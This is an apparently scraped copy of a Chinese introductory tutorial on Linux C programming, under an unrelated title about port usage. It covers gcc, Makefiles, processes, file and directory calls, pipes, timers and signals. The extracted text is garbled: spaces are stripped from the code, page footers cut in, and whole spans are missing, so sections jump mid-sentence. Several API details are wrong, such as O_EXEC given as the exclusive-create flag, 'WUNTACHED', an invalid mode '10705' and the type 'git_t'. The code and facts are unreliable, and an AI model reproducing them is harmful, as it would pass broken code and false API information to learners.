函数linux查看端口占用

linux查看端口占用  时间:2021-01-30  阅读:()

Linux操作系统下c语言编程入门linux操作系统下c语言编程入门(一)目录介绍linux操作系统下c语言编程入门.
1(一)目录介绍1(二)具体内容11)Linux程序设计入门--基础知识.
12)Linux程序设计入门--进程介绍.
53)Linux程序设计入门--文件操作.
114)Linux程序设计入门--时间概念.
195)Linux程序设计入门--信号处理.
216)Linux程序设计入门--消息管理.
277)Linux程序设计入门--线程操作.
358)Linux程序设计入门--网络编程.
399)Linux下C开发工具介绍69(二)具体内容1)Linux程序设计入门--基础知识Linux下C语言编程基础知识前言:这篇文章介绍在LINUX下进行C语言编程所需要的基础知识.
在这篇文章当中,我们将会学到以下内容:源程序编译Makefile的编写程序库的链接程序的调试头文件和系统求助1.
源程序的编译在Linux下面,如果要编译一个C语言源程序,我们要使用GNU的gcc编译器.
下面我们以一个实例来说明如何使用gcc编译器.
假设我们有下面一个非常简单的源程序(hello.
c):intmain(intargc,char**argv){printf("HelloLinux\n");第1页共84页Linux操作系统下c语言编程入门}要编译这个程序,我们只要在命令行下执行:gcc-ohellohello.
cgcc编译器就会为我们生成一个hello的可执行文件.
执行.
/hello就可以看到程序的输出结果了.
命令行中gcc表示我们是用gcc来编译我们的源程序,-o选项表示我们要求编译器给我们输出的可执行文件名为hello而hello.
c是我们的源程序文件.
gcc编译器有许多选项,一般来说我们只要知道其中的几个就够了.
-o选项我们已经知道了,表示我们要求输出的可执行文件名.
-c选项表示我们只要求编译器输出目标代码,而不必要输出可执行文件.
-g选项表示我们要求编译器在编译的时候提供我们以后对程序进行调试的信息.
知道了这三个选项,我们就可以编译我们自己所写的简单的源程序了,如果你想要知道更多的选项,可以查看gcc的帮助文档,那里有着许多对其它选项的详细说明.
2.
Makefile的编写假设我们有下面这样的一个程序,源代码如下:/*main.
c*/#include"mytool1.
h"#include"mytool2.
h"intmain(intargc,char**argv){mytool1_print("hello");mytool2_print("hello");}/*mytool1.
h*/#ifndef_MYTOOL_1_H#define_MYTOOL_1_Hvoidmytool1_print(char*print_str);#endif/*mytool1.
c*/#include"mytool1.
h"voidmytool1_print(char*print_str){printf("Thisismytool1print%s\n",print_str);}/*mytool2.
h*/#ifndef_MYTOOL_2_H#define_MYTOOL_2_Hvoidmytool2_print(char*print_str);#endif/*mytool2.
c*/#include"mytool2.
h"voidmytool2_print(char*print_str){printf("Thisismytool2print%s\n",print_str);}第2页共84页Linux操作系统下c语言编程入门当然由于这个程序是很短的我们可以这样来编译gcc-cmain.
cgcc-cmytool1.
cgcc-cmytool2.
cgcc-omainmain.
omytool1.
omytool2.
o这样的话我们也可以产生main程序,而且也不时很麻烦.
但是如果我们考虑一下如果有一天我们修改了其中的一个文件(比如说mytool1.
c)那么我们难道还要重新输入上面的命令也许你会说,这个很容易解决啊,我写一个SHELL脚本,让她帮我去完成不就可以了.
是的对于这个程序来说,是可以起到作用的.
但是当我们把事情想的更复杂一点,如果我们的程序有几百个源程序的时候,难道也要编译器重新一个一个的去编译为此,聪明的程序员们想出了一个很好的工具来做这件事情,这就是make.
我们只要执行以下make,就可以把上面的问题解决掉.
在我们执行make之前,我们要先编写一个非常重要的文件.
--Makefile.
对于上面的那个程序来说,可能的一个Makefile的文件是:#这是上面那个程序的Makefile文件main:main.
omytool1.
omytool2.
ogcc-omainmain.
omytool1.
omytool2.
omain.
o:main.
cmytool1.
hmytool2.
hgcc-cmain.
cmytool1.
o:mytool1.
cmytool1.
hgcc-cmytool1.
cmytool2.
o:mytool2.
cmytool2.
hgcc-cmytool2.
c有了这个Makefile文件,不过我们什么时候修改了源程序当中的什么文件,我们只要执行make命令,我们的编译器都只会去编译和我们修改的文件有关的文件,其它的文件她连理都不想去理的.
下面我们学习Makefile是如何编写的.
在Makefile中也#开始的行都是注释行.
Makefile中最重要的是描述文件的依赖关系的说明.
一般的格式是:target:componentsTABrule第一行表示的是依赖关系.
第二行是规则.
比如说我们上面的那个Makefile文件的第二行main:main.
omytool1.
omytool2.
o表示我们的目标(target)main的依赖对象(components)是main.
omytool1.
omytool2.
o当倚赖的对象在目标修改后修改的话,就要去执行规则一行所指定的命令.
就象我们的上面那个Makefile第三行所说的一样要执行gcc-omainmain.
omytool1.
omytool2.
o注意规则一行中的TAB表示那里是一个TAB键Makefile有三个非常有用的变量.
分别是$@,$^,$intmain(intargc,char**argv){doublevalue;printf("Value:%f\n",value);}这个程序相当简单,但是当我们用gcc-otemptemp.
c编译时会出现下面所示的错误.
/tmp/cc33Kydu.
o:Infunction`main':/tmp/cc33Kydu.
o(.
text+0xe):undefinedreferenceto`log'collect2:ldreturned1exitstatus出现这个错误是因为编译器找不到log的具体实现.
虽然我们包括了正确的头文件,但是我们在编译的时候还是要连接确定的库.
在Linux下,为了使用数学函数,我们必须和数学库连接,为此我们要加入-lm选项.
gcc-otemptemp.
c-lm这样才能够正确的编译.
也许有人要问,前面我们用printf函数的时候怎么没有连接库呢是这样的,对于一些常用的函数的实现,gcc编译器会自动去连接一些常用库,这样我们就没有必要自己去指定了.
有时候我们在编译程序的时候还要指定库的路径,这个时候我们要用到编译器的-L选项指定路径.
比如说我们有一个库在/home/hoyt/mylib下,这样我们编译的时候还要加上-L/home/hoyt/mylib.
对于一些标准库来说,我们没有必要指出路径.
只要它们在起缺省库的路径下就可以了.
系统的缺省库的路径/lib/usr/lib/usr/local/lib在这三个路径下面的库,我们可以不指定路径.
还有一个问题,有时候我们使用了某个函数,但是我们不知道库的名字,这个时候怎么办呢很抱歉,对于这个问题我也不知道答案,我只有一个傻办法.
首先,我到标准库路径下面去第4页共84页Linux操作系统下c语言编程入门找看看有没有和我用的函数相关的库,我就这样找到了线程(thread)函数的库文件(libpthread.
a).
当然,如果找不到,只有一个笨方法.
比如我要找sin这个函数所在的库.
就只好用nm-o/lib/*.
so|grepsin>~/sin命令,然后看~/sin文件,到那里面去找了.
在sin文件当中,我会找到这样的一行libm-2.
1.
2.
so:00009fa0Wsin这样我就知道了sin在libm-2.
1.
2.
so库里面,我用-lm选项就可以了(去掉前面的lib和后面的版本标志,就剩下m了所以是-lm).
如果你知道怎么找,请赶快告诉我,我回非常感激的.
谢谢!
4.
程序的调试我们编写的程序不太可能一次性就会成功的,在我们的程序当中,会出现许许多多我们想不到的错误,这个时候我们就要对我们的程序进行调试了.
最常用的调试软件是gdb.
如果你想在图形界面下调试程序,那么你现在可以选择xxgdb.
记得要在编译的时候加入-g选项.
关于gdb的使用可以看gdb的帮助文件.
由于我没有用过这个软件,所以我也不能够说出如何使用.
不过我不喜欢用gdb.
跟踪一个程序是很烦的事情,我一般用在程序当中输出中间变量的值来调试程序的.
当然你可以选择自己的办法,没有必要去学别人的.
现在有了许多IDE环境,里面已经自己带了调试器了.
你可以选择几个试一试找出自己喜欢的一个用.
5.
头文件和系统求助有时候我们只知道一个函数的大概形式,不记得确切的表达式,或者是不记得着函数在那个头文件进行了说明.
这个时候我们可以求助系统.
比如说我们想知道fread这个函数的确切形式,我们只要执行manfread系统就会输出着函数的详细解释的.
和这个函数所在的头文件说明了.
如果我们要write这个函数的说明,当我们执行manwrite时,输出的结果却不是我们所需要的.
因为我们要的是write这个函数的说明,可是出来的却是write这个命令的说明.
为了得到write的函数说明我们要用man2write.
2表示我们用的write这个函数是系统调用函数,还有一个我们常用的是3表示函数是C的库函数.
记住不管什么时候,man都是我们的最好助手.
好了,这一章就讲这么多了,有了这些知识我们就可以进入激动人心的Linux下的C程序探险活动.
2)Linux程序设计入门--进程介绍Linux下进程的创建前言:这篇文章是用来介绍在Linux下和进程相关的各个概念.
我们将会学到:进程的概念进程的身份进程的创建守护进程的创建1.
进程的概念Linux操作系统是面向多用户的.
在同一时间可以有许多用户向操作系统发出各种命令.
那么操作系统是怎么实现多用户的环境呢在现代的操作系统里面,都有程序和进程的概念.
那么什么是程序,什么是进程呢通俗的讲程序是一个包含可以执行代码的文件,是一个静态的文件.
而进程是一个开始执行但是还没有结束的程序的实例.
就是可执行文第5页共84页Linux操作系统下c语言编程入门件的具体实现.
一个程序可能有许多进程,而每一个进程又可以有许多子进程.
依次循环下去,而产生子孙进程.
当程序被系统调用到内存以后,系统会给程序分配一定的资源(内存,设备等等)然后进行一系列的复杂操作,使程序变成进程以供系统调用.
在系统里面只有进程没有程序,为了区分各个不同的进程,系统给每一个进程分配了一个ID(就象我们的身份证)以便识别.
为了充分的利用资源,系统还对进程区分了不同的状态.
将进程分为新建,运行,阻塞,就绪和完成五个状态.
新建表示进程正在被创建,运行是进程正在运行,阻塞是进程正在等待某一个事件发生,就绪是表示系统正在等待CPU来执行命令,而完成表示进程已经结束了系统正在回收资源.
关于进程五个状态的详细解说我们可以看《操作系统》上面有详细的解说.
2.
进程的标志上面我们知道了进程都有一个ID,那么我们怎么得到进程的ID呢系统调用getpid可以得到进程的ID,而getppid可以得到父进程(创建调用该函数进程的进程)的ID.
#includepid_tgetpid(void);pid_tgetppid(void);进程是为程序服务的,而程序是为了用户服务的.
系统为了找到进程的用户名,还为进程和用户建立联系.
这个用户称为进程的所有者.
相应的每一个用户也有一个用户ID.
通过系统调用getuid可以得到进程的所有者的ID.
由于进程要用到一些资源,而Linux对系统资源是进行保护的,为了获取一定资源进程还有一个有效用户ID.
这个ID和系统的资源使用有关,涉及到进程的权限.
通过系统调用geteuid我们可以得到进程的有效用户ID.
和用户ID相对应进程还有一个组ID和有效组ID系统调用getgid和getegid可以分别得到组ID和有效组ID#include#includeuid_tgetuid(void);uid_tgeteuid(void);gid_tgetgid(void);git_tgetegid(void);有时候我们还会对用户的其他信息感兴趣(登录名等等),这个时候我们可以调用getpwuid来得到.
structpasswd{char*pw_name;/*登录名称*/char*pw_passwd;/*登录口令*/uid_tpw_uid;/*用户ID*/gid_tpw_gid;/*用户组ID*/char*pw_gecos;/*用户的真名*/char*pw_dir;/*用户的目录*/char*pw_shell;/*用户的SHELL*/};#include#includestructpasswd*getpwuid(uid_tuid);第6页共84页Linux操作系统下c语言编程入门下面我们学习一个实例来实践一下上面我们所学习的几个函数:#include#include#include#includeintmain(intargc,char**argv){pid_tmy_pid,parent_pid;uid_tmy_uid,my_euid;gid_tmy_gid,my_egid;structpasswd*my_info;my_pid=getpid();parent_pid=getppid();my_uid=getuid();my_euid=geteuid();my_gid=getgid();my_egid=getegid();my_info=getpwuid(my_uid);printf("ProcessID:%ld\n",my_pid);printf("ParentID:%ld\n",parent_pid);printf("UserID:%ld\n",my_uid);printf("EffectiveUserID:%ld\n",my_euid);printf("GroupID:%ld\n",my_gid);printf("EffectiveGroupID:%ld\n",my_egid):if(my_info){printf("MyLoginName:%s\n",my_info->pw_name);printf("MyPassword:%s\n",my_info->pw_passwd);printf("MyUserID:%ld\n",my_info->pw_uid);printf("MyGroupID:%ld\n",my_info->pw_gid);printf("MyRealName:%s\n",my_info->pw_gecos);printf("MyHomeDir:%s\n",my_info->pw_dir);printf("MyWorkShell:%s\n",my_info->pw_shell);}}3.
进程的创建创建一个进程的系统调用很简单.
我们只要调用fork函数就可以了.
#includepid_tfork();当一个进程调用了fork以后,系统会创建一个子进程.
这个子进程和父进程不同的地方只有他的进程ID和父进程ID,其他的都是一样.
就象符进程克隆(clone)自己一样.
当然创建两个一模一样的进程是没有意义的.
为了区分父进程和子进程,我们必须跟踪fork的返回值.
当fork掉用失败的时候(内存不足或者是用户的最大进程数已到)fork返回-1,否则f第7页共84页Linux操作系统下c语言编程入门ork的返回值有重要的作用.
对于父进程fork返回子进程的ID,而对于fork子进程返回0.
我们就是根据这个返回值来区分父子进程的.
父进程为什么要创建子进程呢前面我们已经说过了Linux是一个多用户操作系统,在同一时间会有许多的用户在争夺系统的资源.
有时进程为了早一点完成任务就创建子进程来争夺资源.
一旦子进程被创建,父子进程一起从fork处继续执行,相互竞争系统的资源.
有时候我们希望子进程继续执行,而父进程阻塞直到子进程完成任务.
这个时候我们可以调用wait或者waitpid系统调用.
#include#includepid_twait(int*stat_loc);pid_twaitpid(pid_tpid,int*stat_loc,intoptions);wait系统调用会使父进程阻塞直到一个子进程结束或者是父进程接受到了一个信号.
如果没有父进程没有子进程或者他的子进程已经结束了wait回立即返回.
成功时(因一个子进程结束)wait将返回子进程的ID,否则返回-1,并设置全局变量errno.
stat_loc是子进程的退出状态.
子进程调用exit,_exit或者是return来设置这个值.
为了得到这个值Linux定义了几个宏来测试这个返回值.
WIFEXITED:判断子进程退出值是非0WEXITSTATUS:判断子进程的退出值(当子进程退出时非0).
WIFSIGNALED:子进程由于有没有获得的信号而退出.
WTERMSIG:子进程没有获得的信号号(在WIFSIGNALED为真时才有意义).
waitpid等待指定的子进程直到子进程返回.
如果pid为正值则等待指定的进程(pid).
如果为0则等待任何一个组ID和调用者的组ID相同的进程.
为-1时等同于wait调用.
小于-1时等待任何一个组ID等于pid绝对值的进程.
stat_loc和wait的意义一样.
options可以决定父进程的状态.
可以取两个值WNOHANG:父进程立即返回当没有子进程存在时.
WUNTACHED:当子进程结束时waitpid返回,但是子进程的退出状态不可得到.
父进程创建子进程后,子进程一般要执行不同的程序.
为了调用系统程序,我们可以使用系统调用exec族调用.
exec族调用有着5个函数.
#includeintexecl(constchar*path,constchar*arg,.
.
.
);intexeclp(constchar*file,constchar*arg,.
.
.
);intexecle(constchar*path,constchar*arg,.
.
.
);intexecv(constchar*path,char*constargv[]);intexecvp(constchar*file,char*constargv[]):exec族调用可以执行给定程序.
关于exec族调用的详细解说可以参考系统手册(manexecl).
下面我们来学习一个实例.
注意编译的时候要加-lm以便连接数学函数库.
#include#include#include#include#include#includevoidmain(void){pid_tchild;第8页共84页Linux操作系统下c语言编程入门intstatus;printf("Thiswilldemostratehowtogetchildstatus\n");if((child=fork())==-1){printf("ForkError:%s\n",strerror(errno));exit(1);}elseif(child==0){inti;printf("Iamthechild:%ld\n",getpid());for(i=0;i#include#include#include第9页共84页Linux操作系统下c语言编程入门#include#include#include/*Linux的默任个人的邮箱地址是/var/spool/mail/用户的登录名*/#defineMAIL"/var/spool/mail/hoyt"/*睡眠10秒钟*/#defineSLEEP_TIME10main(void){pid_tchild;if((child=fork())==-1){printf("ForkError:%s\n",strerror(errno));exit(1);}elseif(child>0)while(1);if(kill(getppid(),SIGTERM)==-1){printf("KillParentError:%s\n",strerror(errno));exit(1);}{intmailfd;while(1){if((mailfd=open(MAIL,O_RDONLY))!
=-1){fprintf(stderr,"%s","\007");close(mailfd);}sleep(SLEEP_TIME);}}}你可以在默认的路径下创建你的邮箱文件,然后测试一下这个程序.
当然这个程序还有很多地方要改善的.
我们后面会对这个小程序改善的,再看我的改善之前你可以尝试自己改善一下.
比如让用户指定邮相的路径和睡眠时间等等.
相信自己可以做到的.
动手吧,勇敢的探险者.
好了进程一节的内容我们就先学到这里了.
进程是一个非常重要的概念,许多的程序都会用子进程.
创建一个子进程是每一个程序员的基本要求!
第10页共84页Linux操作系统下c语言编程入门3)Linux程序设计入门--文件操作Linux下文件的操作前言:我们在这一节将要讨论linux下文件操作的各个函数.
文件的创建和读写文件的各个属性目录文件的操作管道文件----1.
文件的创建和读写我假设你已经知道了标准级的文件操作的各个函数(fopen,fread,fwrite等等).
当然如果你不清楚的话也不要着急.
我们讨论的系统级的文件操作实际上是为标准级文件操作服务的.
当我们需要打开一个文件进行读写操作的时候,我们可以使用系统调用函数open.
使用完成以后我们调用另外一个close函数进行关闭操作.
#include#include#include#includeintopen(constchar*pathname,intflags);intopen(constchar*pathname,intflags,mode_tmode);intclose(intfd);open函数有两个形式.
其中pathname是我们要打开的文件名(包含路径名称,缺省是认为在当前路径下面).
flags可以去下面的一个值或者是几个值的组合.
O_RDONLY:以只读的方式打开文件.
O_WRONLY:以只写的方式打开文件.
O_RDWR:以读写的方式打开文件.
O_APPEND:以追加的方式打开文件.
O_CREAT:创建一个文件.
O_EXEC:如果使用了O_CREAT而且文件已经存在,就会发生一个错误.
O_NOBLOCK:以非阻塞的方式打开一个文件.
O_TRUNC:如果文件已经存在,则删除文件的内容.
前面三个标志只能使用任意的一个.
如果使用了O_CREATE标志,那么我们要使用open的第二种形式.
还要指定mode标志,用来表示文件的访问权限.
mode可以是以下情况的组合.
S_IRUSR用户可以读S_IWUSR用户可以写S_IXUSR用户可以执行S_IRWXU用户可以读写执行S_IRGRP组可以读S_IWGRP组可以写S_IXGRP组可以执行S_IRWXG组可以读写执行第11页共84页Linux操作系统下c语言编程入门S_IROTH其他人可以读S_IWOTH其他人可以写S_IXOTH其他人可以执行S_IRWXO其他人可以读写执行S_ISUID设置用户执行IDS_ISGID设置组的执行ID我们也可以用数字来代表各个位的标志.
Linux总共用5个数字来表示文件的各种权限.
00000.
第一位表示设置用户ID.
第二位表示设置组ID,第三位表示用户自己的权限位,第四位表示组的权限,最后一位表示其他人的权限.
每个数字可以取1(执行权限),2(写权限),4(读权限),0(什么也没有)或者是这几个值的和.
.
比如我们要创建一个用户读写执行,组没有权限,其他人读执行的文件.
设置用户ID位那么我们可以使用的模式是--1(设置用户ID)0(组没有设置)7(1+2+4)0(没有权限,使用缺省)5(1+4)即10705:open("temp",O_CREAT,10705);如果我们打开文件成功,open会返回一个文件描述符.
我们以后对文件的所有操作就可以对这个文件描述符进行操作了.
当我们操作完成以后,我们要关闭文件了,只要调用close就可以了,其中fd是我们要关闭的文件描述符.
文件打开了以后,我们就要对文件进行读写了.
我们可以调用函数read和write进行文件的读写.
#includessize_tread(intfd,void*buffer,size_tcount);ssize_twrite(intfd,constvoid*buffer,size_tcount);fd是我们要进行读写操作的文件描述符,buffer是我们要写入文件内容或读出文件内容的内存地址.
count是我们要读写的字节数.
对于普通的文件read从指定的文件(fd)中读取count字节到buffer缓冲区中(记住我们必须提供一个足够大的缓冲区),同时返回count.
如果read读到了文件的结尾或者被一个信号所中断,返回值会小于count.
如果是由信号中断引起返回,而且没有返回数据,read会返回-1,且设置errno为EINTR.
当程序读到了文件结尾的时候,read会返回0.
write从buffer中写count字节到文件fd中,成功时返回实际所写的字节数.
下面我们学习一个实例,这个实例用来拷贝文件.
#include#include#include#include#include#include#include#defineBUFFER_SIZE1024intmain(intargc,char**argv){intfrom_fd,to_fd;intbytes_read,bytes_write;第12页共84页Linux操作系统下c语言编程入门charbuffer[BUFFER_SIZE];char*ptr;if(argc!
=3){fprintf(stderr,"Usage:%sfromfiletofile\n\a",argv[0]);exit(1);}/*打开源文件*/if((from_fd=open(argv[1],O_RDONLY))==-1){fprintf(stderr,"Open%sError:%s\n",argv[1],strerror(errno));exit(1);}/*创建目的文件*/if((to_fd=open(argv[2],O_WRONLY|O_CREAT,S_IRUSR|S_IWUSR))==-1){fprintf(stderr,"Open%sError:%s\n",argv[2],strerror(errno));exit(1);}/*以下代码是一个经典的拷贝文件的代码*/while(bytes_read=read(from_fd,buffer,BUFFER_SIZE)){/*一个致命的错误发生了*/if((bytes_read==-1)&&(errno!
=EINTR))break;elseif(bytes_read>0){ptr=buffer;while(bytes_write=write(to_fd,ptr,bytes_read)){/*一个致命错误发生了*/if((bytes_write==-1)&&(errno!
=EINTR))break;/*写完了所有读的字节*/elseif(bytes_write==bytes_read)break;/*只写了一部分,继续写*/elseif(bytes_write>0){ptr+=bytes_write;bytes_read-=bytes_write;}}/*写的时候发生的致命错误*/if(bytes_write==-1)break;}}第13页共84页Linux操作系统下c语言编程入门close(from_fd);close(to_fd);exit(0);}2.
文件的各个属性文件具有各种各样的属性,除了我们上面所知道的文件权限以外,文件还有创建时间,大小等等属性.
有时侯我们要判断文件是否可以进行某种操作(读,写等等).
这个时候我们可以使用access函数.
#includeintaccess(constchar*pathname,intmode);pathname:是文件名称,mode是我们要判断的属性.
可以取以下值或者是他们的组合.
R_OK文件可以读,W_OK文件可以写,X_OK文件可以执行,F_OK文件存在.
当我们测试成功时,函数返回0,否则如果有一个条件不符时,返回-1.
如果我们要获得文件的其他属性,我们可以使用函数stat或者fstat.
#include#includeintstat(constchar*file_name,structstat*buf);intfstat(intfiledes,structstat*buf);structstat{dev_tst_dev;/*设备*/ino_tst_ino;/*节点*/mode_tst_mode;/*模式*/nlink_tst_nlink;/*硬连接*/uid_tst_uid;/*用户ID*/gid_tst_gid;/*组ID*/dev_tst_rdev;/*设备类型*/off_tst_off;/*文件字节数*/unsignedlongst_blksize;/*块大小*/unsignedlongst_blocks;/*块数*/time_tst_atime;/*最后一次访问时间*/time_tst_mtime;/*最后一次修改时间*/time_tst_ctime;/*最后一次改变时间(指属性)*/};stat用来判断没有打开的文件,而fstat用来判断打开的文件.
我们使用最多的属性是st_mode.
通过着属性我们可以判断给定的文件是一个普通文件还是一个目录,连接等等.
可以使用下面几个宏来判断.
S_ISLNK(st_mode):是否是一个连接.
S_ISREG是否是一个常规文件.
S_ISDIR是否是一个目录S_ISCHR是否是一个字符设备.
S_ISBLK是否是一个块设备S_ISFIFO是否是一个FIFO文件.
S_ISSOCK是否是一个SOCKET文件.
我们会在下面说明如何使用这几个宏的.
3.
目录文件的操作在我们编写程序的时候,有时候会要得到我们当前的工作路径.
C库函数提供了getcwd来解决这个问题.
第14页共84页Linux操作系统下c语言编程入门#includechar*getcwd(char*buffer,size_tsize);我们提供一个size大小的buffer,getcwd会把我们当前的路径考到buffer中.
如果buffer太小,函数会返回-1和一个错误号.
Linux提供了大量的目录操作函数,我们学习几个比较简单和常用的函数.
#include#include#include#include#includeintmkdir(constchar*path,mode_tmode);DIR*opendir(constchar*path);structdirent*readdir(DIR*dir);voidrewinddir(DIR*dir);off_ttelldir(DIR*dir);voidseekdir(DIR*dir,off_toff);intclosedir(DIR*dir);structdirent{longd_ino;off_td_off;unsignedshortd_reclen;chard_name[NAME_MAX+1];/*文件名称*/mkdir很容易就是我们创建一个目录,opendir打开一个目录为以后读做准备.
readdir读一个打开的目录.
rewinddir是用来重读目录的和我们学的rewind函数一样.
closedir是关闭一个目录.
telldir和seekdir类似与ftee和fseek函数.
下面我们开发一个小程序,这个程序有一个参数.
如果这个参数是一个文件名,我们输出这个文件的大小和最后修改的时间,如果是一个目录我们输出这个目录下所有文件的大小和修改时间.
#include#include#include#include#include#include#includestaticintget_file_size_time(constchar*filename){structstatstatbuf;if(stat(filename,&statbuf)==-1){printf("Getstaton%sError:%s\n",filename,strerror(errno));return(-1);第15页共84页Linux操作系统下c语言编程入门}if(S_ISDIR(statbuf.
st_mode))return(1);if(S_ISREG(statbuf.
st_mode))printf("%ssize:%ldbytes\tmodifiedat%s",filename,statbuf.
st_size,ctime(&statbuf.
st_mtime));return(0);}intmain(intargc,char**argv){DIR*dirp;structdirent*direntp;intstats;if(argc!
=2){printf("Usage:%sfilename\n\a",argv[0]);exit(1);}if(((stats=get_file_size_time(argv[1]))==0)||(stats==-1))exit(1);if((dirp=opendir(argv[1]))==NULL){printf("OpenDirectory%sError:%s\n",argv[1],strerror(errno));exit(1);}while((direntp=readdir(dirp))!
=NULL)if(get_file_size_time(direntp-|intpipe(intfildes[2]);pipe调用可以创建一个管道(通信缓冲区).
当调用成功时,我们可以访问文件描述符fildes[0],fildes[1].
其中fildes[0]是用来读的文件描述符,而fildes[1]是用来写的文件描述符.
在实际使用中我们是通过创建一个子进程,然后一个进程写,一个进程读来使用的.

关于进程通信的详细情况请查看进程通信#include#include第16页共84页Linux操作系统下c语言编程入门#include#include#include#include#include#defineBUFFER255intmain(intargc,char**argv){charbuffer[BUFFER+1];intfd[2];if(argc!
=2){fprintf(stderr,"Usage:%sstring\n\a",argv[0]);exit(1);}if(pipe(fd)!
=0){fprintf(stderr,"PipeError:%s\n\a",strerror(errno));exit(1);}if(fork()==0){close(fd[0]);printf("Child[%d]Writetopipe\n\a",getpid());snprintf(buffer,BUFFER,"%s",argv[1]);write(fd[1],buffer,strlen(buffer));printf("Child[%d]Quit\n\a",getpid());exit(0);}else{close(fd[1]);printf("Parent[%d]Readfrompipe\n\a",getpid());memset(buffer,'\0',BUFFER+1);read(fd[0],buffer,BUFFER);printf("Parent[%d]Read:%s\n",getpid(),buffer);exit(1);}}为了实现重定向操作,我们需要调用另外一个函数dup2.
#includeintdup2(intoldfd,intnewfd);dup2将用oldfd文件描述符来代替newfd文件描述符,同时关闭newfd文件描述符.
也就是说第17页共84页Linux操作系统下c语言编程入门,所有向newfd操作都转到oldfd上面.
下面我们学习一个例子,这个例子将标准输出重定向到一个文件.
#include#include#include#include#include#include#include#defineBUFFER_SIZE1024intmain(intargc,char**argv){intfd;charbuffer[BUFFER_SIZE];if(argc!
=2){fprintf(stderr,"Usage:%soutfilename\n\a",argv[0]);exit(1);}if((fd=open(argv[1],O_WRONLY|O_CREAT|O_TRUNC,S_IRUSR|S_IWUSR))==-1){fprintf(stderr,"Open%sError:%s\n\a",argv[1],strerror(errno));exit(1);}if(dup2(fd,STDOUT_FILENO)==-1){fprintf(stderr,"RedirectStandardOutError:%s\n\a",strerror(errno));exit(1);}fprintf(stderr,"Now,pleaseinputstring");fprintf(stderr,"(ToquituseCTRL+D)\n");while(1){fgets(buffer,BUFFER_SIZE,stdin);if(feof(stdin))break;write(STDOUT_FILENO,buffer,strlen(buffer));}exit(0);}好了,文件一章我们就暂时先讨论到这里,学习好了文件的操作我们其实已经可以写出一些比较有用的程序了.
我们可以编写一个实现例如dir,mkdir,cp,mv等等常用的文件操作命令了.
想不想自己写几个试一试呢第18页共84页Linux操作系统下c语言编程入门4)Linux程序设计入门--时间概念前言:Linux下的时间概念这一章我们学习Linux的时间表示和计算函数时间的表示时间的测量计时器的使用1.
时间表示在程序当中,我们经常要输出系统当前的时间,比如我们使用date命令的输出结果.
这个时候我们可以使用下面两个函数#includetime_ttime(time_t*tloc);char*ctime(consttime_t*clock);time函数返回从1970年1月1日0点以来的秒数.
存储在time_t结构之中.
不过这个函数的返回值对于我们来说没有什么实际意义.
这个时候我们使用第二个函数将秒数转化为字符串.
.
这个函数的返回类型是固定的:一个可能值为.
ThuDec714:58:592000这个字符串的长度是固定的为262.
时间的测量有时候我们要计算程序执行的时间.
比如我们要对算法进行时间分析.
.
这个时候可以使用下面这个函数.
#includeintgettimeofday(structtimeval*tv,structtimezone*tz);struttimeval{longtv_sec;/*秒数*/longtv_usec;/*微秒数*/};gettimeofday将时间保存在结构tv之中.
tz一般我们使用NULL来代替.
#includeintgetitimer(intwhich,structitimerval*value);intsetitimer(intwhich,structitimerval*newval,structitimerval*oldval);structitimerval{structtimevalit_interval;structtimevalit_value;}getitimer函数得到间隔计时器的时间值.
保存在value中setitimer函数设置间隔计时器的时间值为newval.
并将旧值保存在oldval中.
which表示使用三个计时器中的哪一个.
itimerval结构中的it_value是减少的时间,当这个值为0的时候就发出相应的信号了.
然后设置为it_interval值.
#include#include#include#include#include#definePROMPT"时间已经过去了两秒钟\n\a"char*prompt=PROMPT;unsignedintlen;voidprompt_info(intsigno){write(STDERR_FILENO,prompt,len);}voidinit_sigaction(void){structsigactionact;act.
sa_handler=prompt_info;act.
sa_flags=0;第20页共84页Linux操作系统下c语言编程入门sigemptyset(&act.
sa_mask);sigaction(SIGPROF,&act,NULL);}voidinit_time(){structitimervalvalue;value.
it_value.
tv_sec=2;value.
it_value.
tv_usec=0;value.
it_interval=value.
it_value;setitimer(ITIMER_PROF,&value,NULL);}intmain(){len=strlen(prompt);init_sigaction();init_time();while(1);exit(0);}这个程序每执行两秒中之后会输出一个提示.
5)Linux程序设计入门--信号处理Linux下的信号事件前言:这一章我们讨论一下Linux下的信号处理函数.
Linux下的信号处理函数:信号的产生信号的处理其它信号函数一个实例1.
信号的产生Linux下的信号可以类比于DOS下的INT或者是Windows下的事件.
在有一个信号发生时候相信的信号就会发送给相应的进程.
在Linux下的信号有以下几个.
我们使用kill-l命令可以得到以下的输出结果:1)SIGHUP2)SIGINT3)SIGQUIT4)SIGILL5)SIGTRAP6)SIGABRT7)SIGBUS8)SIGFPE9)SIGKILL10)SIGUSR111)SIGSEGV12)SIGUSR213)SIGPIPE14)SIGALRM15)SIGTERM17)SIGCHLD18)SIGCONT19)SIGSTOP20)SIGTSTP21)SIGTTIN22)SIGTTOU23)SIGURG24)SIGXCPU25)SIGXFSZ26)SIGVTALRM27)SIGPROF28)SIGWINCH29)SIGIO30)SIGPWR关于这些信号的详细解释请查看man7signal的输出结果.
信号事件的发生有两个来源:一个是硬件的原因(比如我们按下了键盘),一个是软件的原因(比如我们使用系统函数或第21页共84页Linux操作系统下c语言编程入门者是命令发出信号).
最常用的四个发出信号的系统函数是kill,raise,alarm和setitimer函数.
setitimer函数我们在计时器的使用那一章再学习.
#include#include#includeintkill(pid_tpid,intsig);intraise(intsig);unisignedintalarm(unsignedintseconds);kill系统调用负责向进程发送信号sig.
如果pid是正数,那么向信号sig被发送到进程pid.
如果pid等于0,那么信号sig被发送到所以和pid进程在同一个进程组的进程如果pid等于-1,那么信号发给所有的进程表中的进程,除了最大的哪个进程号.
如果pid由于-1,和0一样,只是发送进程组是-pid.
我们用最多的是第一个情况.
还记得我们在守护进程那一节的例子吗我们那个时候用这个函数杀死了父进程守护进程的创建raise系统调用向自己发送一个sig信号.
我们可以用上面那个函数来实现这个功能的.
alarm函数和时间有点关系了,这个函数可以在seconds秒后向自己发送一个SIGALRM信号.
.
下面这个函数会有什么结果呢#includemain(){unsignedinti;alarm(1);for(i=0;1;i++)printf("I=%d",i);}SIGALRM的缺省操作是结束进程,所以程序在1秒之后结束,你可以看看你的最后I值为多少,来比较一下大家的系统性能差异(我的是2232).
2.
信号操作有时候我们希望进程正确的执行,而不想进程受到信号的影响,比如我们希望上面那个程序在1秒钟之后不结束.
这个时候我们就要进行信号的操作了.
信号操作最常用的方法是信号屏蔽.
信号屏蔽要用到下面的几个函数.
